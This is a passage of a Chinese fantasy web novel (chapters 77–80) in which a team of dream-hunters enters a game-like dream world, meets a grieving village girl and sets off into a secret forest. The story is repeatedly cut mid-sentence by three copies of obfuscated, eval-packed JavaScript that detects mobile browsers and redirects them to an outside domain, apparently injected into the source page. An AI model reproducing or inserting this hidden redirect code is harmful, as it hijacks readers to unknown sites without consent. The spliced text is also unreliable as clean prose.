这是夏烛第一次叫他的名字,嬴惑觉得自己应该反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16131345|172863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 驳点什么,却怎么也开不了口。他干脆站了起来,一个人走到窗边,用阴郁的眼神死死盯着夏烛身边正得意洋洋的风枫。 风眠将羊皮纸在大厅的地毯上展开,而身后的嬴犽怀里则抱着一台笔记本电脑跟着坐在了地上。 “看看看看,俺们也是和现代社会接上轨了。”风枫锐评。 几个人围坐在羊皮卷周围。 看上去像是一张地图,只是在被完全展开后,地图上各个角落悬浮起两种颜色的光点。像许许多多的萤火虫颤颤巍巍地停在上边。 “九天大会发布诛杀妖神的任务后,每个家族就得到了一张这样的任务地图。”风眠解释道,他伸出手指触碰了某一个黄色的光点,“黄色的代表这个地方有破梦风险的魍魉踪迹,去到这里也许不通过貘也能进梦。”他又点了点另一边紫色的那颗,“而紫色的则是妖神出没的地点。” “不明官可以按照这张任务地图有意前往除魉或者捉妖,是不是很像游戏呀!”风枫用手指拨动着那些一闪一闪的任务标记。 “除此之外,还开发了一个论坛。”风眠示意一旁的嬴犽打开电脑,“从前除了九天大会,各家族之间的联系并不紧密,说实话,要是没有天灾的预言,估计大家都不愿意互相打扰。” 这栋房子被临时争用,光源只有墙壁上一盏昏黄壁灯和电脑屏幕上的反光。嬴犽的指骨敲击在键盘上发出让人昏昏欲睡的声音,他在搜索引擎上输入了一段网址,说实话他们两人之间居然能看出点默契。 大概是嬴犽忽然成长了,想明白了近水楼台先得月,就得先利用好楼台才能接近高悬的月亮。姬无愁有次好心提点过他,说风眠这种身份的在人类世界一般被叫做大舅哥,得好好献献殷勤。现在看来他是听进去了,姬无愁感到很欣慰。 “这个论坛方便出任务的不明官集中交流分享,可以看看各地的情况,也方便大家及时求助支援。很多信息我都是从这上面得来的。” 看来为了制止天灾日的到来,十分传统的九天大会作出了很大的改变,只是她们也许需要改善一下网站的导视系统,密密麻麻地叫人看了眼花。 甚至有无关紧要的帖子混迹其中,一篇加粗变红的名叫《震惊!残体骄傲姬阴秀,私下竟然!》的帖子就被刷到了列表顶上。 这无疑是干扰不明官做正事,居然没有管理员之类删删帖控控评。不过这个题目取得让夏烛都忍不住想点进去看看。 “所以,我们现在可以结合地图和论坛,决定一下是先入梦看看还是捉妖。”解释完基本情况,风眠向后靠在沙发上。 “捉妖!捉妖!”风枫兴冲冲地双手握拳狂锤空气,既然她先发表了意见…嬴犽偷看了一眼也握起拳头,“捉妖。”附和道。 “小愁呢?”风眠看向坐在地毯上从头到尾没说过话的女生。 忽然被提到的姬无愁似乎有点不好意思,她轻轻捏了捏自己的手指,说话的声音又轻柔又缓慢。 “我觉得也许先入梦境比较好,大家之前应该都没有对付妖神的经验,队伍也添了很多新人,是不是可以磨合磨合再…” 风眠点点头,“我原本也是这么想的,不过…“他指向地图上东边的某个紫色光点,“离树山不远的地方,最近好像有疫鬼出没的消息,我的意思是既然离得近,不如…” “哎呀哎呀!为了公平起见俺们投骰子吧!”风枫不知道从哪里掏出一枚骰子,“这样吧,单数入梦,双数抓疫鬼!” 说着她就将手里的小方块往天上一抛,众人追随着物体的行动轨迹,看着它掉落到羊皮卷上仍在疯狂的转圈,在出乎意料的极限摇摆之后,最终留下一颗红心稳定在视野中。 “一点,单数。” 风枫失望地哼哼唧唧,不过投骰子的注意是她提出的,她也不好反驳,只能接受现状。 夏烛直起上半身,趁着昏暗的光线,往身后的窗边瞥了一眼。嬴惑抱着手臂靠在窗台上,没有看向这边而是面朝着窗外,像是不愿意参与这场讨论一般。 她将视线从那张没有表情的脸移到那枚红宝石戒指上,见他正下意识拨动着戒指。 夏烛回过头,端详起地图上东边的那一个紫点。 疫鬼吗? 78.勇气的长枪依旧向前(一) 村里来了个年轻人。 白色妹妹头,高挑颀长,宽肩窄腰。 细腰上挂着一把大剑,两手拽着蛇皮口袋。 苹果红枣,西凤酒。 满满当当的土特产。 姬阴秀进了风家,先是拜访了风叶和风家几位德高望重的老人。乖乖巧巧坐在大人中间,听她们长篇宏论祖上渊源来,纵谈严峻形势去。 风叶上上下下地打量着姬阴秀,越瞅越是欢喜,问他愿不愿意叛逃家门,到太皞来,细皮嫩肉正好去地里磨练磨练,上一个像他这么白白嫩嫩的风眠已经看腻了。 随后他又被还不知道自己已经被母亲嫌弃的风眠领着去瞻仰了建木,风枫嚷嚷着要一起,于是七个人声势浩大像小学生春游一样,沿着小溪,穿过枫树林,慢慢悠悠地晃到了建木所在的草地。 全程嬴惑都不情不愿地跟在夏烛屁股后面拖拖拉拉。一会儿嫌热一会儿说累,风枫意味深长地在他和气定神闲,浑身散发着银色光辉的姬阴秀之间来回打量,气得嬴惑脸色苍白,恨不得甩出几吨黄金砸晕她。 建木和夏烛上次来的时候没什么不同。 只是走近了会发现它原本坚实粗壮,像经年干枯河床一样的树干裂开了几条明显的缝隙。不过这并不影响它张开树冠,停留在上的小鸟叽叽喳喳的叫。 姬阴秀说从前在轩辕丘的学堂中看过建木的照片,可是远不及亲眼所见来得震撼。 参天大树,春去秋来,叶子绿了又黄。 一想到千万年前也有鸟儿在枝头上停留,树荫下成长又逝去了好几代人,他就不甚唏嘘。 万物之逆旅,百代之过客。 风枫嘻嘻哈哈地打趣,说好了好了,现在不是伤春悲秋的时候了,明知生命短暂得要命,时间嗖一下就过去,还不速速行动起来。 所以众人又返回了家中,在隔壁的“未命名基地”向新加入的姬阴秀简单交代了昨天的商讨结果。 未命名基地,是风枫取得名字,她说这叫白描手法,浅显易懂。 没人提出否定票,她就开开心心地去央求姜老爹,给基地刻上一个名牌,好挂在门口,像路过的人昭示,这是有主人的房子。 几番折腾安排,大家决定休息一晚,明天一早在基地入梦,这次行动风眠不参与,他说七个人的队伍太庞大了,要是逃跑途中你挤着我,我撞到你,造成交通堵塞就不好玩了。 “我这个后勤队长还是坚守在大后方,等各位凯旋归来,吃顿好的吧。” 于是就这么决定了,风眠忙上忙下和老姜一起做了顿欢迎宴,一大桌人叽叽喳喳围在两张拼起来的餐桌旁,吵得夏烛脑袋发懵。嬴惑这个偷奸耍滑的人,为了不做家务竟然连饭都不来吃,一个人呆在隔壁的房间里。吃饭之前夏烛站在院子中犹豫了很久,最终还是没有上楼。 等待宴席散场,夜深人静,各自回到房间休息了,嬴惑鬼使神差地打开房间的门,却发现一封沙琪玛静静躺在月光中。 他面无表情地思考了很久,最终一脸嫌弃地将沙琪玛捡了起来,关上了房门。 第二天一大早,风眠就将早餐送进了未命名基地。 风眠出品,可谓是营养丰富,荤素搭配,种类繁多各取所需。他将风枫拉到一边嘱咐了几句,又让姬无愁和夏烛注意安全,不要因为自己很强就埋头猛冲。 他像一位贴心的管家,安排好一切之后帮她们关上了门。 嬴惑没和大家一起,而是呆在自己的房间。夏烛不得不怀疑,他入梦的方式也许和其他不明官并不相同,越是靠近这个人,他身上的一切就越是显得诡异。她其实一直都不确定,让嬴惑跟在身边究竟是不是正确的选择。 梦貘内部今时不同往日,不明官寥寥而颜色沉郁。铃舌来回几个碰撞,再次睁开眼睛的时候,天地已经改头换面。 * “很久很久以前,在遥远星球的小鱼滩大陆上分布着七个不同的国家。它们分别是位于大陆东部秘密森林中的精灵国,那里住着一群善良勤劳擅长采集种植,却有点冒冒失失的精灵仙子;大陆最南边是气候湿润物产丰富的沼泽之国半兽国,危险神秘,是传说中半人半兽的奇特物种的故乡; 东北冰原的无水之地,气候严寒,冰封万里,整个国家被寒流包裹,天上的降雨永远不会落到地面上,无水之地的居民拥有寒冰赐予的魔法; 而与之相对的西北沙漠则是炎皇的统辖领域,有传闻说炎皇只是个普通人类,不过是某次一时兴起想给自己铸造一柄佩剑,弯腰打铁的时候却不小心让烈火燎了头发,火焰虽然没有夺走炎皇的性命,却是永远不会再熄灭。他怕伤害身边的亲人,也怕被世人孤立,于是选择离开家乡独自流浪,最终在小鱼滩的沙漠中遇见了和自己一样的,另一个熊熊燃烧的女人。两人不出意外地相爱,结成夫妻,孕育子孙,最终有了屹立沙漠之上的炎炎国; 炎皇曾经的故乡,就是西边唯一居住着人类的城邦,整个大陆最富饶的地方——俄斐地。听说那里遍地是黄金,从城畿的高山上远远眺望,俄斐地的山脉闪闪发光,那是金子正从山顶沿着河流而下。黄金国没有穷人,要是有,那也不配称作“人”; 五个国家将一块神圣的土地包围其中。那就是中土大河圣地,神职者的降临之地。神职者,传闻她们本是生命之神身边的侍卫,因为生命神和时间神之间一场关于小鱼滩大陆是否有很多鱼的争论,而被生命神一气之下派遣到凡间,替她找到答案。于是侍卫们变成了一条条水蛇,沿着天河游到了小鱼滩大陆,发现这里不仅有鱼还有各式各样的生物,一时之间无法得出“鱼到底多不多”的结论,害怕生命神的责罚,不敢再回到宇宙中,从此就留在了小鱼滩,为这片大陆建立起了链接四方的宗教信仰。 六个国家原本和平共处,小鱼滩大陆一片欣欣向荣,直到极北之地的冻海出现在各族的视野中,一个名叫阿勒斯的魔王诞生在冻海中央,它贪图美色亵渎神明,为了大施自己的淫威抓走了刚被神职者祝福,选做圣女的人族公主。 于是教廷联合俄斐地抛出大量财宝以及神圣道具作为奖励,悬赏魔王阿勒斯的项上魔头。不论哪一种族的勇者,只要能前往极北冻海成功救下公主,就将成为小鱼滩大陆至高无上的荣耀之王。坐拥天下财富甚至长生不老的秘宝,还有一位尊贵的公主… 年轻的勇者啊,生命之神将赐予你东方之勤劳,西方之狡黠,南方之灵性,以及剩下的理智与冷静,勇气与武力…声望和财富固然俗气,但遗世佳人仍在世界尽头以泪洗面,怎么能够停止不前呢….” 风枫声情并茂地念完了前情提要,将手里的羊皮卷“啪”得一声拍在了木桌上。 六个人面面相觑,一言不发。 一个健硕的肌肉男穿着违和感十足的围裙,灵巧地侧身从人群和桌椅之间托着一个巨大的托盘向她们走来。 “客人,六杯银茅根水加冰,一大块沼泽面包,一共是…三个金币,请您慢用。” 男人将六只加满冰块的黄铜小盏一一摆放在众人面前,最后将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16135163|172863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个鱼形的长托盘留在了中间,长托盘里是一块冒着不明绿气的面包状食物。 风枫不自觉咽了口口水,五个人整齐划一纷纷看向穿得人模人样的嬴惑。 五道刀锋一样的视线像是要在他身上灼出几个大洞,嬴惑忍不住翻了一个美丽的白眼,俯下身去,将叠桌角的石块一把抽了出来,再拿到桌面上的时候就变成了一锭沉甸甸,明灿灿的金子。 失去平衡的老旧圆木桌狠狠往左一倾,银茅根水洒了些出来。 一旁的男人两眼发光,将金锭捧在手心,上上下下地打量着嬴惑,心想不愧是俄斐地的人类,出手就是阔绰。美滋滋地收起金子,转身又从酒馆拥挤的人群中灵巧地游走了,他背对众人的时候,毫不避讳地露出身后一根长长的棕色狼尾。 六个人刚在这个世界睁开眼睛,就发现身上的着装全都变了样,连带着一些不可明说的部分。不过好在重要的物品还在身上,例如各自的符钰,夏烛的小剑,姬阴秀的轩辕,以及风枫的种子袋。 她们的身上还都出现了一张羊皮卷,最开头都是先前风枫朗读的那部分文字,只不过文字下面还有另外金光闪闪的部分。 “成为小鱼滩终极勇者的主线任务:拯救公主,打败魔王。这不纯纯是个游戏吗!”风枫重新拿起羊皮卷读着故事梗概下方的任务栏。 “我这里还有一条支线任务…”姬无愁小声地说,她也展开了自己的羊皮卷,主线任务都是一样的,只不过她还多出了一条。 “什么什么!俺看看!”风枫听见任何风吹草动,就像小狗见了肉骨头,“漂泊者的支线任务:给无水之地带去水…” 风枫重新看向自己的那份,“什么嘛,为什么俺没有支线任务…” “我也没有。”夏烛将手里的羊皮卷在桌面上展开。 “小乌鸦你的呢!” 风枫刚想伸过头去,却见嬴犽竟然将羊皮卷揉成一团藏到了身后。 “我..我没有…”结结巴巴不要太过明显!但风枫只是笑眯眯地盯着他,一脸欣慰地拍着嬴犽的肩膀,“好小子,长大了,有自己的小秘密了哦。” 嬴犽煞白的小脸顿时红透。 “我这里也有一条支线任务,只是我不明白到底是什么意思。”老实人姬阴秀直接将自己的羊皮卷交到了风枫手里,然后挨个在圆桌上传读。 传到夏烛手里,她看清了主线任务下面果然还有一排小字。 “遗弃者的支线任务:将剑术传授给踏进沙漠后遇见的第一个女人。” “嚯嚯嚯!”风枫发出怪叫,“这有什么不明白的,听俺细细道来…”话还没说完,一只骷髅手臂就弱弱地搭在了她的手腕。 “干嘛?”风枫不满地盯回去,翘着嘴能挂上一只水壶。 嬴犽:“….” “好吧,闭嘴就闭嘴。”她把自己的手抽了回来,气呼呼地叉着腰,嬴犽简直就像风眠派来的间谍! 夏烛把羊皮卷还给了姬阴秀,然后一脸真诚地看向嬴惑。 那人懒散地靠着椅背,两手抱在胸前,接收到夏烛的视线后,语气冷淡,“看我干什么,我也没有。” “哦。”夏烛失落地低着头,用手指蘸着桌面上洒出来的银茅根水画着圈。 嬴惑盯着她的发顶抿了抿嘴。 “OK!现在形势已经明了!”风枫摸了摸自己头顶长出来的两根淡绿色像蕨菜一样的触须,有些发痒,“俺肯定就是善良勤劳又淳朴的精灵仙子噜!请各位勇者自我介绍一下噜!” 79.勇气的长枪依旧向前(二) 阳光从天然形成的窗洞中照进来,空气中充斥着属于森林的清新味道,还有一股温暖的烤松子的香味。偶尔有侍者端着托盘经过,会留下一串浓郁的接骨木花香。往来的各族旅客挤满了这个看上去似乎是征用树洞开起来的小酒馆。 四面的墙壁皆是浅色的桦木,纹理清晰可辨。天顶上铺着柔软的苔藓,从森林的小河边捡来的彩色宝石,被擦得干干净净镶嵌在苔藓中,经过阳光的折射会往四周洒出彩色的光点。 六个人醒来的时候,就已经坐在这家叫做“星旅树台”的酒馆里。诚然,睁眼的那一秒,每个人都有被吓一跳。 例如夏烛看着对面眨巴着眼睛一脸无辜的风枫,对于她头顶多出来的两根弯弯曲曲的半透明触须感到无比的好奇,还能随着她眨眼的频率向两边分开又合上。 不过她平时的穿衣风格就比较——野性?所以她这身绿叶和花瓣织成的衣服以及那头暗红色的头发,蜜色的眼睛和鼻子上的小雀斑无比相配。 再精灵不过了。 姬无愁摩挲着自己羊皮卷右上角的浅蓝色菱形图标,犹豫着伸出手,在手心凝结出一块透明的冰晶。 “相力没有什么变化,我应该就是无水之地的人。”她的穿着倒是没什么变化,和以往作战的时候一样,贴身的黑色服装下隐隐表露出充满力量感的线条,身体纤瘦却并不柔弱,看起来不像法师反而像一位游侠。 姬阴秀也没什么变化,他和姬无愁不仅同姓,身形和品味相似比起奇形怪状的另外几位勇者更像是一个部族出来的。 “难道你是人族吗?”风枫好奇地歪着头问道。 “也许不是。”姬阴秀低头看向自己的手心,“从刚才起我就隐约感到一股奇怪的力量在身体里横冲直撞。” 他微微屈起五指,一簇蓝紫色的小火苗噗簇蹿出手心。 “炎炎国!好噜!”风枫拍着桌子欢呼,气氛烘托得挺到位,“不过俺还以为你们的头发会像这样烧起来。”她边说边在自己头上比划。 “嗯,我也以为。”姬阴秀认真地点了点头,甚至脑补了一下自己头发竖起来会是什么样。 “还有小乌鸦!你这个太明显了!”风枫从坐姿变成了跪在椅子上,身体一前一后地摇摆根本安静不下来。 嬴犽的头发似乎长长了一些垂在肩膀上,穿着一件暗紫色的长袍。他的虹膜原本只是带点紫色的偏光,现下那种神秘的颜色变得浓郁起来,瞳孔也由圆形变成了两端尖锐的竖线。头发两侧露出一点苍白又脆弱的耳尖。 确实是很明显的半兽人。 夏烛十分欣赏地打量嬴犽,他的变装无疑最成功,完全就是沉浸式的角色扮演。 然后她听到左边传来一声不满的冷哼,风枫翻了个白眼,直接跳过面色不佳的“正统人类”嬴惑,站了起来绕过圆桌来到她身后,将她头上的兜帽揭了下来。 “都别说都别说!让俺来猜猜!”她将冰冰凉凉的脸蛋贴上夏烛,眼睛睁得老大,亮晶晶地盯着夏烛的额头,“哇塞!第一次见这样的阿烛诶!好漂亮噜!” 夏烛呆呆地任由风枫捧着脑袋摆弄,冷不丁听到她的夸赞,默默低下脑袋偷偷脸红。 “看这袍子!看这纹身!俺都想拜拜你啦阿烛!”她说完像是想起什么,在自己腰间的那堆小布包里一阵掏,翻出一面小镜子递给夏烛,“给!你自己看看!” 她接过镜子一照,五官样貌没什么变化,只是额头上多了一个暗金色的蛇形图腾,她的皮肤颜色本来就比较深,再加上自己身上这件白金色的长袍,看起来像是一个埃及来的游客。 她一脸认真地捧着镜子看来看去,然后缓慢地点了点头。 “确实漂亮。” 风枫咯咯咯地怪笑,两手再次圈住她的胳膊非要贴在一起。 “神职者噜!快祝福祝福俺!” 然后两人煞有介事开始了祝福仪式,夏烛非常严肃地摸着风枫的脑袋,而后者虔诚地半跪在地上。 “神赐予风枫…嗯…入口的食物都变得美味…” 风枫郑重其事地闭上眼睛接受祝福,然后缓缓站了起来,面无表情地朝桌子中央的沼泽面包伸出手。 她以一种赴死的决心张嘴咬下那片冒着绿气的面包,然后眼睛骤然睁大,“诶!!真的很好吃!!阿烛你也太神了。” 桌子另一头的姬无愁和姬阴秀,在这个队伍里简直就是最稳定成熟的存在,两人就为什么有些人能拥有支线任务展开了讨论,不过也没得到什么结果。 “看这里的装潢,俺们现在应该是在精灵的地界吧…游戏地图怎么不来一个?”风枫说着又打开了自己的羊皮卷,翻到了背面。 原本一片空白的纸上,出现了一个光斑,光斑像火焰一样慢慢往外延伸,小鱼滩世界地图就出现在了羊皮卷上。 带着风枫版火柴人头像的图标显示,她们果然位于东部的精灵国,一个叫做新手村的地方。 “还真有地图噜!” 见状,大家纷纷将羊皮卷翻了个面,却仍旧一片空白。 夏烛回想起刚刚小枫说过的话,犹犹豫豫地冲着自己的羊皮卷念出了那四个字。 “游戏地图。” 果然,光斑再次出现,地图一点点展开。 “声控的。”她抬起眼睛对上另外几道视线。 然后剩下三个人对着自己手里的羊皮卷喊出了口令。 至于嬴惑,他全程臭着脸毫无动作,穿着一身贵族式的制服好整以暇地坐在木椅上,就像坐在黄金王座一样嚣张。 只有夏烛知道他为什么生气。 摸清了未命名队伍1目前所在的位置,就能按照主线任务提示开始行动了。 夏烛看向主线任务的下方,第一条待完成的指引。 “进入秘密森林找到神奇树。” 几人打算吃饱喝足再出发,瓜分了盘中的沼泽面包。风枫说得没错,味道确实很好,只是看起来其貌不扬。面包体筋道有嚼劲,有一股淡淡的草木清香,咬上一口立马感觉置身于清晨弥漫着大雾的森林中,配上清甜润喉的银茅根水,如同朝露洒在青苔上。 ”我觉得出发前有必要跟大家讲一讲。”姬阴秀就连吃饭也像个正襟危坐的老学究,幼儿园的时候一定是老师最喜爱的乖宝宝,他细嚼慢咽吃完最后一口面包,身体板正,两手放好在膝盖上,才开口,“虽然这个梦境似乎是个游戏,目前看来角色众多,是否危险还尚不明确,但是我们的最终目的是找到魉,希望大家时刻保持警惕,最好不要独自面对危险。” 似乎在从前的队伍中他都是担任操心上下的角色,所以为了保证所有队员的安全,需要例行叮嘱一下。可是姬阴秀突然意识到面前的几名队友也只是见过几面,自己突然这样说话,会不会显得多此一举,或者说教味太浓。 “はい-はい!”风枫突然从座位上站起来朝他鞠了两个躬,然后敬了个礼,“一切行动听指挥噜!” 旁边的姬无愁忍不住笑出声,姬阴秀看着大家的反应,觉得自己可能太小心翼翼了些,他第一次和别的家族的人合作,太担心会给大家造成麻烦,而因此失去不明官的身份。 推开酒馆的大门,新手村顾名思义,就是新手很多的一个村子。 街道不算太宽,各种稀奇古怪的物种挤在大街上,人手一卷羊皮纸,有和风枫一样头上长触须的小精灵,也有和酒馆侍者一样,尤其明显的半兽人,还有别人走路他骑马,开局就一掷千金的人族。 道路两旁都是些朴素的欧式平房,还有售卖便宜道具的摊位,或者热腾腾的武器铺。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16141499|172863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 风枫先一步跨出去,夏烛眼睁睁看着她的动作在越过门槛的时候被无限放慢,就像静止了一样,脸上的表情毫无变化,她正疑惑,三秒之后,风枫的脚才落到了街道的地面上,一脸茫然地看着门内的众人。 “俺刚刚怎么了?” “你刚刚被减速放慢了。” “不对啊,俺刚才突然眼前一黑!然后嗖地划过一排字…说什么’如果没有金币了可以前往俄斐地售卖采集品’…” 鸦雀无声,她们都是一群和时代脱节的人。 “也许…是游戏加载界面的小提示?”姬无愁默默举手。 于是众人纷纷抬脚,然后齐齐在半空中放慢卡顿。 夏烛眼前闪过一排小字。 “神职者拥有吟唱治愈的神力…” 下一秒,视野恢复,她们已经来到了大街上。风枫涨红了脸突然弯腰捶着自己膝盖发出一阵爆笑。 “哈哈哈哈哈哈哈哈桀桀桀你们都不知道刚刚你们五个卡在那里有多好笑!不是游戏吗?怎么没有拍照功能噜?” 然后,只听得清晰地一声“咔嚓”,一张纸片从天而降缓缓飘落到风枫摊开的手心中。 她的笑容先是凝固在脸上,当看清纸片上的内容时,眼泪从嘴角流了下来。 赫然是五个人抬脚卡在空中的照片。 风枫笑得上气不接下气,在夏烛地万般恳求下才捏紧照片的一角迅速给她看了一眼。 “这也太银性噜!不知道能不能带回现实去?” 正在大家不知道该往哪个方向去找秘密森林的时候,夏烛注意到一家铁匠铺门外站着一个妙龄少女。 她金色的长发编成一根独辫垂在胸前,白色的小雏菊点缀其中。身上淡蓝色的长裙和黑乎乎的铁匠铺大门格格不入。阳光似乎偏爱美人,只在她周围投下一圈淡淡的光晕。只是那双沉静湖泊水一样的绿色眼睛却流露着悲伤。 夏烛听到她正在自言自语。 “诺亚已经离开了一天,到底什么时候才能回来,我真不该和他吵架的…秘密森林…他会不会是遇到什么危险了…” 姬无愁也发现了这个有些突兀的少女,她和夏烛交换了眼神后,就径直朝女孩走去。 “你好?请问一下,你知道去秘密森林该怎么走吗?” 女孩如梦初醒,突然发现自己面前站了几个奇怪的异乡人,有些不好意思,一抹浅淡的红晕浮上了脸颊,美好得像清晨沾着露珠的鲜花,看呆了围过来的夏烛和风枫。 “你们好,我叫薇诺娜。当然…我知道秘密森林该怎么走…可是那个地方很危险…一般人可不能活着从里面出来…”她迅速抬眼朝队伍中看了一眼,“哦没错,你们之中有精灵,也许可以顺利进入…” 她忽然眼睛一亮,握上了姬无愁的手。 “如果你们能成功进入森林,能不能帮我找找他!”薇诺娜垂下长长的睫毛,“爸爸说如果诺亚能去到森林,从针王蜂手下摘得最大的那朵艾恩加尔花,就能把我嫁给他…诺亚…可怜的诺亚是个勇敢的人,他真的去了!可是已经过去一天了,他还没有回来,离开之前…我居然还和他大吵了一架…”说着一滴泪水就从她白皙的脸庞滑落。 像一个真正的NPC一样,她已经陷入自己的回忆,自顾自地介绍起这段程序上的剧情。 对话很长且冗杂,但为了得到秘密森林的位置,大家还是站在原地,听完了薇诺娜的哭诉。 “无聊。”嬴惑瞥了一眼听得津津有味的夏烛,他认为这些都是浪费时间,什么游戏剧情,爱来爱去的,他就该花钱雇一个人,替他摆平一切,最好是能杀掉这个世界的所有角色,那么找出魉就变得轻而易举。 说不定这个哭哭啼啼的女人就是魉,聪明的话就该上去给她一刀。 80.勇气的长枪依旧向前(三) 薇诺娜的父亲伊森是新手村外围石砌庄园的小领主,虽然祖上也是因为贫穷无势被俄斐地驱逐到了东边的精灵国,但也靠着种族优势,通过羊毛贸易,矿产开采偶尔放放高利贷积累了一定的财富,最终买下新手村所在的这片土地和贵族头衔。 诺亚呢,不过是街上一间铁匠铺里的伙计。 精明的商人如何会把自己的宝贝女儿嫁给这样一个没有前途未来,手无缚鸡之力的小子。从小锦衣玉食的女儿,总不能在未来的日子里只能靠着廉价的沼泽面包过活吧。 和每一个俗套的爱情故事一样,高傲的伊森穿着天鹅绒刺绣外套,手里握着象征着家族权势的手杖,对着灰头土脸空有一腔热血但连饭都吃不饱的诺亚轻飘飘地说道:“好啊,让薇诺娜跟你回去,回到那个顶上漏雨四壁泄风的茅屋,用你所谓的至高无上的爱去填补缝隙,用你的热血点燃空置许久的壁炉。用你那初生牛犊似得勇气去为你们创造一个美好的未来?” “也许你们将来会生下一个孩子,伙计的孩子…大概率也是个伙计。” “去到西边会被从小沐浴黄金的上等人羞辱,去到南边再怎么努力也达不到兽人种族的力量高度,中土是天神的领地,北方世界在魔法的翻云覆雨之下。光是苟活在大陆的边缘就已经用尽所有力气了。告诉我,可怜的诺亚,你要给她怎样的幸福?” 诺亚怔怔地面对着高台之上的领主,但他不肯放弃,他坚信爱能抵御这世间一切的苦难,只要薇诺娜能坚定地和他站在一起,于是他答应了伊森的条件,进入秘密森林,从针王蜂地看守下摘取那朵最耀眼的花。 可是临行前的一晚,薇诺娜却来劝说他放弃。 她轻声细语地告诉诺亚,这不过是个莽撞冲动的决定,冒着生命危险去摘一朵毫无意义的花,不如祈求父亲,给他一个实用的职位,无论是从马夫做起还是雇佣的猎人。 她说,其实伊森的话不无道理,“亲爱的诺亚,我相信爱能抵御一切,可我们首先得靠自己生存下来。” 面色红润,睫毛被泪水濡湿的薇诺娜此刻在诺亚眼里就像一朵被残酷现实摧残的花,他不可思议地听到她说着赞同自己领主父亲的话。 然后气愤地甩开薇诺娜挽留的手头也不回地离开了。 他发誓,一定会杀死针王蜂带回艾恩加尔花,一定要让薇诺娜亲口承认她错了。 “可是一天一夜过去了…他还是没有回来…”薇诺娜的声音哽咽,她用手绢拭了拭眼泪,“秘密森林…从村口出去,沿着一条小河一直往东去…你们会看见它的,雾气弥漫的森林…” 她再一次握住离得最近的姬无愁的手。 “年轻的勇者,如果看见了诺亚,请帮我带回他…无论他是否还活着…” 剧情到这里结束,金发少女又重新陷入自己的悲伤之中。 或许是她的声音太过于婉转悲戚,五个人都多多少少有点共情。 尤其是风枫,她整个人都挂在夏烛身上,蜜色的眼睛像微微化冻的枫糖浆,湿湿漉漉。 “爱情!这就是爱情吗!虽然诺亚听起来傻乎乎的,要俺说,就应该听女朋友的话!” 夏烛超级赞同,她使劲点着头,贫穷的日子有多艰难,只有体会过的人才懂。 “能先停一停吗?这么大个队伍,难道就我一个人记得不明官的任务是找出魉吧?”嬴惑不可置信地从五个人脸上一一扫过,然后停留在夏烛身上,脸上轻蔑的表情,就好像这里只有他一个正常人一样。 “嬴惑说得没错,”姬阴秀点点头,“这个世界体量太大了,我们还是抓紧时间,先按照任务进行,尽量有效率地接触更多角色吧。” 然后几人就按照薇诺娜的指示,走出新手村,沿着小河一路向东。 夏烛路过嬴惑的时候,抬起眼皮淡淡地瞅了他一眼,然后叹息式地摇摇头,看得嬴惑一头雾水,一股无名火从脚底升起。 郊外的风光旖旎,空气清晰,小河水从雪山流经森林,带着清冽的气息一路泠泠。风枫上蹿下跳,一个劲儿地“拍照”“咔嚓”“拍照”“咔嚓”,短短的路程已经积攒了很多照片在手里,除了风景,还有小精灵的自拍,和三个女生的合照。 路上会遇到一些成群结对的队伍,和他们一样队伍里种族各异。还有穿着长袍的吟游诗人,盘腿坐在小河边的石块上,悠闲地用笛子吹奏一首轻盈婉转的小曲,他热情地和夏烛打了个招呼,离去很远,还能听到悦耳的笛声弯弯绕绕飞向晴朗的天空。 半个小时之后,身边的小河变得细窄,像一只白蛇钻进了面前冷雾弥漫的森林。 风枫也停止了拍照,腰一叉,头一昂,从布包里甩出一把种子,种子落地就迅速破出土壤,变成一个柔软的藤蔓绕上她的手腕。 ”出发!”她大手一指。 有藤蔓在,就不怕她们会在森林中迷路。 秘密森林葱蔚洇润,根系虬结,伞盖牵连遮蔽天空,阳光很难透进来,眼底一片绿色,夏烛左看右看,发现森林中所有的树木竟然都长得一模一样。 不止是种类,还有形态。 “经费这么少吗?话说神奇树到底长什么样,这些树都一模一样,总不会…总不会…”风枫边说边扭动着身体,手伸到后面,一直抓着自己背部的皮肤。 “总不会挂着牌,牌子上写着神奇树吧?” 她一直挤眉弄眼,看上去似乎奇痒无比。 “小枫你怎么了?”夏烛想帮她看看后背,奈何风枫动起来像一只滑溜溜的泥鳅,根本抓不住。 “不知道啊!好痒!好痒!” 见状,嬴犽想冲上来查看情况,却被风枫双手一挥给掀到了地上。 夏烛发现她后背的衣服被撑起一个弧形,并且还在迅速膨胀,似乎有什么东西快要呼之欲出。风枫东到西歪上蹿下跳,像一只喝醉酒的苍蝇,正当众人打算将她合围起来,她忽然“呼呜”一声冲到了半空中。 